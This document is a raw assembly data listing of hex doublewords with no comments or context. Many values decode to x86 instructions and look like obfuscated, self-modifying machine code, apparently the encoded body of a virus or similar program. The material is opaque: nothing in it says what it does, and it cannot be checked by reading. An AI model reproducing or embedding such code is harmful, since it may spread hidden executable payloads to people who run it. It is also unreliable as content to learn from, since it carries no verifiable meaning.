		dd 24448104h, 1B04h, 0C3574700h, 678CC5FEh, 0D266A126h
		dd 51CFE680h, 979BD89h,	0FF5F062Ah, 2A22C9B5h, 5E98006h
		dd 6850Fh, 0BD0B0000h, 62A27EDh, 81A9858Dh, 6A062Dh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C9F42FC3h, 0F2D875BBh, 0D0FF3BCDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0BBC35040h,	66F9C441h, 79BA397Ah
		dd 11E993h, 79760000h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h
		dd 8983AF72h, 2A24A585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0D28B659Ah, 0DDF7819Ah
		dd 0C626A9DFh, 2A27C985h, 0DE806C06h, 4E890h, 70830000h
		dd 8B60DB05h, 0B1F7BBD1h, 5061405Eh, 96BF5250h,	0F223ECEh
		dd 0F09BF31h, 585A2936h, 424448Bh, 8C1386B9h, 0B5008B69h
		dd 244489A7h, 0A7B96604h, 0ABB95882h, 0FF3BF0FEh, 2A231DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0AF69F7D4h, 6BC61FB0h, 8B605749h, 2A0D61BDh
		dd 69BD3306h, 61062A25h, 8DF9B70Fh, 2A3BBF85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 8D8B57CAh, 62A2155h,	798D235Ah, 0FF062A07h, 0FE8B66D0h
		dd 718589F8h, 8B062E39h, 2A082995h, 8DBD8306h, 62E39h
		dd 0CA850Fh, 0B5890000h, 62A09ADh, 27C985C6h, 6A49062Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 4C83C356h, 0EE96022h, 14000000h, 1C2D6B5Ah
		dd 0CB3FF77Ah, 0F20339F5h, 0AC686136h, 0BF2F451Eh, 7BB4349Eh
		dd 3D240481h, 8B5CD00Bh, 1DB5FFCFh, 6A062A23h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0CA8BC353h, 3BBF858Dh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0B58C53C3h, 850F406Ch
		dd 4, 98E8BA66h, 8E9h, 8AAD2F00h, 0D9CD5B8h, 89D0FFEBh
		dd 2A349595h, 8D858906h, 0F062E39h, 38Ah, 0D3B70F00h, 0ABB6046Ah
		dd 2910FF68h, 8899B9E5h, 4812F92h, 0D6FF0124h, 53006A1Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 77B368BFh, 0D78166B1h, 4E813BFh, 0
		dd 66000100h, 8B50FA8Bh, 66042444h, 8BCB8Bh, 3E652BBAh
		dd 24448956h, 0B9666004h, 810FD9A8h, 6,	310F5250h, 5861585Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 96C35646h
		dd 6255C966h, 13E9657Fh, 11000000h, 84A68266h, 0CBECDC4Dh
		dd 7DF52700h, 25FBEA75h, 8A60A5F9h, 2800FE2h, 8A000000h
		dd 830F61C2h, 1, 60006AF9h, 2B3DB509h, 0E5BE062Ah, 6108654Ah
		dd 0B8D95FFh, 6651062Ah, 8959D08Bh, 2E397D85h, 0B1958B06h
		dd 0C7062A34h, 2E397585h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 9D84F6E3h
		dd 6D96B73Ah, 0CD8D89B2h, 0F062A2Ah, 6AD3B7h, 2311BD89h
		dd 4E8062Ah, 0
		dd 8A000100h, 0B96650F0h, 448B2CC9h, 8B0424h, 4244489h
		dd 46F803B9h, 0BD8B585Fh, 62A1451h, 1BF6690h, 14E95049h
		dd 0EA000000h, 445C6FEDh, 0E1186478h, 0A081C409h, 21FE3BFBh
		dd 90C4F4FCh, 6A0B6AF9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0BA32C351h,	8B66E184h
		dd 4A858DFEh, 8B062E39h, 2A1B6D8Dh, 88B65006h, 0B240489h
		dd 2A05B5BDh, 0D08B6606h, 1BC995FFh, 8F0F062Ah,	6, 14699589h
		dd 0B58D062Ah, 62E3954h, 13B98D8Bh, 5096062Ah, 12E8h, 89A76D00h
		dd 0B1621FACh, 0DC388D00h, 0FD9F9669h, 59E3F4B9h, 0B58D8B96h
		dd 90062A08h, 9050FE8Bh, 82F2BA66h, 92D95FFh, 2960062Ah
		dd 2A1FEDB5h, 4DBD8906h, 61062A21h, 850FC00Bh, 11h, 0CF9BD8Bh
		dd 5CE9062Ah, 89000007h, 2A18619Dh, 8BD0FF06h, 2A1FC5BDh
		dd 7DB58B06h, 6A062E39h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0AC94C353h,	0EC1ABC78h
		dd 8B6690E9h, 6820FF9h,	31000000h, 2A1A898Dh, 20468D06h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D5C35646h
		dd 0B5E3A968h, 0EE9h, 0EED42200h, 187EDE82h, 696939EBh
		dd 6A2838B9h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 9AB44394h, 7684D123h, 0C88B50D1h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5F7C357h, 9B973921h, 669B5DBFh
		dd 0FF96B5B9h, 2E398D95h, 6CBAF506h, 0B145620h,	16840FC0h
		dd 0BF000000h, 55FC6826h, 66EE9h, 68F0F00h, 8B000000h
		dd 2A19918Dh, 207E8006h, 58840F00h, 6A000006h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0FF92C357h, 14E8E0E2h, 0D2000000h, 3B7A5886h, 0AEDDA1DFh
		dd 7599D892h, 5A7F51EEh, 8BE1F264h, 2A230195h, 6A605F06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 142BC357h, 0FC36FA0Ch, 6A20468Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4FD3C353h, 0E6C418D1h, 8180364Dh, 62F7F2CFh,	79858975h
		dd 6A062E39h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FF31C353h, 176E90Bh, 0BD8B0000h
		dd 62A2155h, 40CB8B66h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 35C35747h, 0EB7225Ah,	8166A6EAh, 80AC9DC1h
		dd 8D89A1EAh, 62A19C9h,	60525050h, 64D65FB8h, 0AAFFBE09h
		dd 0F617C02h, 89585A31h, 0B5892404h, 62A32A1h, 6A046Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0BEDC77C3h, 8B6658E5h, 0D6B70FD0h, 10D18D23h, 5390062Ah
		dd 8B665250h, 60310FCEh, 5A585A61h, 0E3B59050h,	398D95FFh
		dd 6A062Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 6CBA4AC3h, 0DE924BFh, 36000000h, 71C47955h
		dd 42C22D49h, 7516AD03h, 0C83CD181h, 0D88B457Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9FC35242h, 0F3478A22h
		dd 0E9AD0CBDh, 9, 0E004FD60h, 0C53ADBCCh, 39BD8900h, 58062A24h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FCC35242h
		dd 8BD60104h, 2A09F595h, 0FDB0B06h, 3B84h, 5840F00h, 0B9000000h
		dd 1E29BC77h, 456E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 901315CBh, 54F862E4h
		dd 85895692h, 62A06A1h,	0F003880h, 0FFFE8A85h, 0A8B1B9FFh
		dd 30E932E5h, 66000000h, 60B7A8B9h, 25CDB533h, 4861062Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9DC35646h
		dd 1DBD8B63h, 3B062A10h, 2E397985h, 42820F06h, 8B000000h
		dd 2A1EBD95h, 5C388006h, 33840Fh, 0BF0F0000h, 2F3880FBh
		dd 0FFB5850Fh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 466067C3h, 565107D7h, 20F18166h
		dd 6A4053h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8316B9C3h, 2E3981BDh, 840F0006h, 10Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 74C35242h, 800F6026h
		dd 0B190C2E2h, 8B665002h, 6A90D6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BF0FB2C3h, 818503D2h
		dd 0B6062E39h, 0BF669091h, 0E850383Ah, 6, 7D7D2D72h, 8B66538Dh
		dd 0BA9059D3h, 37E2947Ah, 0BD8B046Ah, 62A0029h,	24048950h
		dd 3B6DBF66h, 398D95FFh, 0CF81062Eh, 4A4A76C0h,	8958D88Bh
		dd 2A33998Dh, 0FDB0B06h, 4484h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0C9206153h
		dd 2B2E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8B666596h, 0C6D7h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0C7C35242h, 0D29FC563h
		dd 8D893146h, 62A2B3Dh,	0A1C18058h, 66525090h, 310FD68Bh
		dd 585A5F57h, 0BE506050h, 83B6AB1h, 11E85Fh, 98260000h
		dd 0AFCD3E35h, 6BCC1014h, 5404610Fh, 5FA8404Eh,	6A9061h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7A5BCBC3h, 31E6ADCh,	2A1699BDh, 0E9605006h, 7, 8B03604Ah
		dd 66BBD320h, 61F857BEh, 0F5240489h, 398D95FFh,	6A062Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 6DA78C3h, 8EFD5262h,	25218D01h, 958B062Ah, 62A10EDh
		dd 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0F41DB1C3h, 5B7B5E67h, 66A0EF4Ah,	3B47F181h
		dd 571B529h, 0B258062Ah, 0FDB0B35h, 4784h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0E9F8893Bh, 163h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 88C35343h, 8D03F4C0h,	62A1335h, 0FA8B5190h
		dd 6E8505Ah, 18000000h,	8E456AE4h, 0DE93Eh, 0A4C10000h
		dd 617856Ah, 67BDC4C5h,	5A3BF4F1h, 0FD8D8B90h, 0E8062A25h
		dd 0Fh,	0C1736184h, 40D5C41Dh, 375E4BA9h, 8B09E40Dh, 2A002D8Dh
		dd 0B5FF5F06h, 62E396Dh, 0CE12FFB9h, 7195FF78h,	0BA062E39h
		dd 7D3BA8FCh, 850FC00Bh, 59h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 86C35343h, 0F1816171h, 55D4958h
		dd 397585C7h, 1062Eh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 345F9C3h, 2A2A4995h
		dd 85E906h, 0B70F0000h,	6A61CAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E38FE6C3h, 0E5D32AC3h
		dd 68C0Fh, 95890000h, 62A0B39h,	16A59D89h, 0C681062Ah
		dd 11Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	2CC35646h, 0BE4AA8DFh, 0FFF90CE9h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 77F7221Ah, 68BB0665h, 0B6FEFF1h, 12E9h, 92C2DD00h, 2B3DAA64h
		dd 5FB06FB1h, 57BAB73Eh, 81C121FDh, 6FF12434h, 6A0B6Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 563C15C3h, 0BE70992Dh, 8B66C611h, 89006AF9h,	2A3371BDh
		dd 7DB5FF06h, 6A062E39h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 31F3C357h, 2A23A1BDh
		dd 0E1952906h, 0FF062A05h, 2A24A595h, 64CA8106h, 89398F5Fh
		dd 2A32A98Dh, 75858B06h, 89062E39h, 2A331985h, 9E806h
		dd 0F0C00000h, 602E08A1h, 0F83A0E87h, 9E85059h,	0F3000000h
		dd 11758AC8h, 73B89833h, 0B4A031B9h, 4895A5Eh, 0E5B58924h
		dd 0E9062A16h, 0Fh, 0CA240A96h,	7E1F9820h, 0C0FBA76Fh
		dd 8DAEAE21h, 2E398585h, 85858906h, 50062A32h, 60240489h
		dd 6810Fh, 0BD890000h, 62A1B5Dh, 0E584C981h, 8D6148D4h
		dd 2E394285h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0DC72675h, 8D0F17F4h, 6, 7614E281h
		dd 958974A0h, 62A2605h,	53BF6690h, 0A9B550FFh, 8DBD8B90h
		dd 0FF062A1Fh, 2A05B195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 668192E1h
		dd 0C7CA2532h, 3D6265B9h, 0F9C08B54h, 2451BD83h, 7500062Ah
		dd 89BD8309h, 62A2Ah, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 2CB9A49Dh, 5BD3FF06h, 89BD8358h, 62A2Ah, 53501174h
		dd 4D0B8h, 0A39D8D00h, 0FF062CB8h, 6A585BD3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0AA4CC351h, 0B5893175h, 62A1489h, 0B0B0EA81h, 0C08B6295h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1BC35343h
		dd 1950B89h, 58062A1Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1EC35545h, 0E333A2E9h, 8C2D38Bh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 79BD2B66h, 8B062A08h, 8DD08BC0h, 2E399C85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 4A2A6800h, 198589B8h, 60062A10h, 8BCAB70Fh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 6952360Fh, 45B58BFCh, 83062A14h, 2A2451BDh, 9750006h
		dd 2A89BD83h, 7400062Ah, 8B535019h, 438B8C0h, 85890000h
		dd 62A2789h, 0BB699D8Dh, 0D3FF062Ch, 0BD83585Bh, 62A2A89h
		dd 50177400h, 438B853h,	85890000h, 62A2789h, 0B8589D8Dh
		dd 0D3FF062Ch, 6A585Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 50BE21C3h, 0E8C3E951h, 603B5BBFh
		dd 0D88A606Dh, 33F18D23h, 3161062Ah, 2A201585h,	0DD8D8B06h
		dd 8B062A12h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0D8B71C58h, 8BB026C4h, 2A2CCDB5h
		dd 31952906h, 0E8062A09h, 94Ch,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0CFC35646h,	53F698D1h, 7C4C45E0h
		dd 11E95206h, 65000000h, 0B3E298ADh, 7A261E71h,	5FA90CF9h
		dd 2CE50A31h, 1185895Eh, 6A062A03h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9F79C353h
		dd 0DDB50366h, 0E8062A10h, 8E0h, 24F98D8Bh, 8589062Ah
		dd 62A251Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0E0C35040h, 940FF883h, 6DAFFC82h, 8AAE831h, 8B660000h
		dd 318589F8h, 6A062A32h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E4E2C356h,	1716CF4h
		dd 0FCF5E0B9h, 877E8h, 38E0F00h, 66000000h, 8589CE8Bh
		dd 62A1ED9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	2CC35343h, 0E4250CB5h, 0BE6634A1h, 95293308h, 62A1F19h
		dd 837E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1404h, 0C3504000h, 69B58951h, 89062A0Dh, 2A0B4185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0EDE8C7B7h, 6A000007h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B07C357h
		dd 6AD79334h, 0BF0F7DF6h, 0BD8589F1h, 6A062A13h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8B56C352h, 2A2255B5h, 79AE806h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 7FA9ECC3h
		dd 0DE9F9A2h, 0D4000000h, 8D8323ECh, 9BC86A89h,	68E000AEh
		dd 174D8589h, 5DE8062Ah, 6A000007h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 6799C353h
		dd 10346AEDh, 558589ACh, 81062A34h, 9C0B95D7h, 72AE843h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8589FFC3h, 62A196Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 81C35040h, 853D7404h, 0E1E8B460h
		dd 6A000006h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E9F6C352h, 7,	21545D8Eh, 894E3A7Ah
		dd 2A139985h, 85896006h, 62A1071h, 0BE8h, 0ECFB1300h, 0FFDAE3D8h
		dd 63A4687Ah, 890Fh, 61580000h,	22CD8D89h, 89E8062Ah, 6A000006h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0C146C357h, 0AF80DA7Ah, 604F8DA1h, 1CBD780h
		dd 2A2CF19Dh, 0C9806106h, 0FD858973h, 6A062A02h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 8093C356h, 4F5AC06Eh, 0F83BEDFEh, 6800Fh, 0BD010000h
		dd 62A0EBDh, 5D950B60h,	61062A2Dh, 613E8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0C48786EBh, 2D0D8589h, 6A062Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0B5E292C3h, 88BA2EE2h
		dd 0C88BBB50h, 8E9h, 0B9845200h, 6EE6578Dh, 5B6E84Eh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 666191C3h, 6DD1E681h, 28E18589h, 5E8062Ah, 0AA000000h
		dd 46023C01h, 0BE9h, 61C8D000h,	9159070Fh, 9B7D2B59h, 56EE85Eh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8B6662C3h, 89CF8AC8h, 2A239D85h, 719D8906h
		dd 0E8062A19h, 53Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0F8C35343h, 0EB9789F0h, 0EB7E837Eh, 26018589h
		dd 6A062Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 62F2F7C3h, 4EEE806h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 914C68C3h, 2259B589h, 0B58B062Ah,	62A11B9h
		dd 20898589h, 6A062Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 64E10DC3h, 0B09EDD80h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 9868573h, 22259531h,	0B60F062Ah, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0E5930283h
		dd 0BA97A71Bh, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0DAC35242h, 0ABE8EEh, 0C38B77C7h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 78C35242h, 0E8C142B1h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0D550A274h, 0F7669344h, 55006AE2h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 68633CF0h, 846A1DF7h, 5093D82Bh, 25B16057h, 59616160h
		dd 1BD8993h, 0E9062A22h, 0Ah, 9BCB0501h, 3D7D6D43h, 95FFEE14h
		dd 62A186Dh, 0FB02D3B9h, 6A5B3Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0E0A835C3h, 6F18D8Bh
		dd 8B66062Ah, 21958DFAh, 6A062A11h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0FB20C356h
		dd 29052FBBh, 1A899535h, 1D292BFh, 14E928h, 8FE50000h
		dd 7C6732E8h, 0A6B36913h, 199B696Bh, 1B037074h,	4289F495h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F791CFF5h, 958D979Ch, 62A29A9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 94C35040h, 2222757h
		dd 0D46F953Ch, 6A1A89h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 5AB879C3h, 0ADB52B97h, 89062A1Ah
		dd 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 283E96C3h, 28D71151h, 0CE9D8A0h, 87000000h
		dd 7280E7EFh, 7A6E1AD6h, 0E99DA771h, 10h, 8786EB1Fh, 53D9F7C4h
		dd 0ED90F2CDh, 319D0ADh, 0E6D958Dh, 6A062Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 5FCBF9C3h
		dd 8BE88423h, 6A1A89CBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8A30C355h, 0C810FCDh
		dd 0F000000h, 68Ah, 35858900h, 89062A30h, 6A0442h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A95C02C3h, 7321BF0Fh, 269D958Dh, 0AE9062Ah,	94000000h
		dd 0B3095600h, 14D8A7C6h, 8B1A895Bh, 2A1681BDh,	4428906h
		dd 0B6D18166h, 4D958D38h, 6A062A10h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 8BBFC351h
		dd 22D1B58Bh, 9E8062Ah,	6000000h, 39AA88E4h, 0B9E47D0Ah
		dd 7684C181h, 605E162Eh, 9A1BD8Bh, 0BD89062Ah, 62A2991h
		dd 6A1A8961h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 8AAFC350h, 826296A2h, 0E6E05ECAh
		dd 1B69BD8Bh, 9589062Ah, 62A2509h, 0F044289h, 68Ah, 29858900h
		dd 8D062A19h, 2A233D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 566C7DC2h, 5FCFBF0Fh
		dd 0ED801A89h, 58D89C3h, 89062A22h, 6A0442h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2439AC3h
		dd 1804F53Ch, 958DAC81h, 62A0C05h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 79C35343h, 896117D6h, 51006A1Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 85619E54h, 89377A5Ch, 8E89Ch, 0CE990000h, 0A1A659E2h
		dd 895E00E6h, 2A0F058Dh, 4428906h, 34259501h, 0B58B062Ah
		dd 62A0EE5h, 1955958Dh,	0BF0F062Ah, 6A1A89C9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 5ECFC357h, 89FA8BD3h, 6A0442h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0B1B2ECC3h, 8BD80670h
		dd 2A32E9BDh, 7FE78106h, 0E9489B73h, 7Dh, 2751BF66h, 6AFC006Ah
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 37ACE145h, 8973291Bh, 33499D89h,	9529062Ah
		dd 62A2979h, 0F551006Ah, 89006A5Eh, 2A0E5D9Dh, 6195FF06h
		dd 6A062A12h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0F280C352h, 880F2F85h,	6, 263D9501h
		dd 8589062Ah, 62A2C65h,	6AC58AC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A5C0C353h
		dd 0B5E78AC2h, 505BD8Bh, 850F062Ah, 3, 8BFEB70Fh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0E4B3E738h, 66088E67h, 831778BEh, 2A2451BDh,	9750006h
		dd 2A89BD83h, 7400062Ah, 8B535019h, 438B8C0h, 85890000h
		dd 62A1A01h, 0BBD09D8Dh, 0D3FF062Ch, 0BD83585Bh, 62A2A89h
		dd 50177400h, 438B853h,	85890000h, 62A1A01h, 0B8719D8Dh
		dd 0D3FF062Ch, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0F57630C3h, 0FE9h, 0ED0F2700h, 9D5BB442h
		dd 10D8237h, 0B504F03Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 85C35343h, 4AEADA84h,	4E443A78h, 8DC08BF0h
		dd 2A191185h, 6E906h, 0C8AF0000h, 418B22A6h, 52505090h
		dd 0BE8310Fh, 93000000h, 0BFD99B29h, 31ED8C8Bh,	5A5F4A28h
		dd 6A9058h, 0A09EBB66h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 54DF48C3h, 11E256BBh
		dd 37858D82h, 66062E59h, 83C8E4BFh, 0B70F05C0h,	0DEB70FF8h
		dd 66525050h, 0F3614BBh, 1CF8BB31h, 585A29C9h, 89240489h
		dd 2A13D585h, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0AAE2C351h,	14E9E14Bh
		dd 0C9000000h, 0AD262B8Ch, 0C9ABEF1Bh, 3D768860h, 176D8D1Fh
		dd 6A582B5Eh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0F91047A1h, 0BD29369Ah, 62A1675h
		dd 127595FFh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 7E922C3h, 81000000h, 482D9F06h
		dd 8D8D62E5h, 62DB966h,	0CDA1BF66h, 8467B960h, 0FF614B74h
		dd 56006AD1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8B9718CAh, 2A11D1BDh, 15BD8306h,	1062A34h
		dd 0C5850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 483A24C3h, 0AC5083B8h, 0DE8B4F4h
		dd 0A8000000h, 66115E5Dh
		dd 4D84A682h, 0CBECDCh,	12860Fh, 0DE90000h, 84000000h
		dd 39173E3Fh, 0D6223FDh, 801F1A61h, 6A026A5Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 638CC351h, 659D8960h, 8B062A2Bh, 2A35059Dh, 0BF906106h
		dd 19D6DCA2h, 0E9525050h, 7, 0AC39B4F8h, 0FE26C2Fh, 14E831h
		dd 1D060000h, 63925B63h, 707262E6h, 0FD40951h, 43B70D30h
		dd 8B665DE9h, 585A5BF8h, 79BD8B90h, 0FF062A11h,	2A135D95h
		dd 0FDBD8B06h, 0E9062A28h, 0D86h, 0E8h,	0ED815D00h, 62E5941h
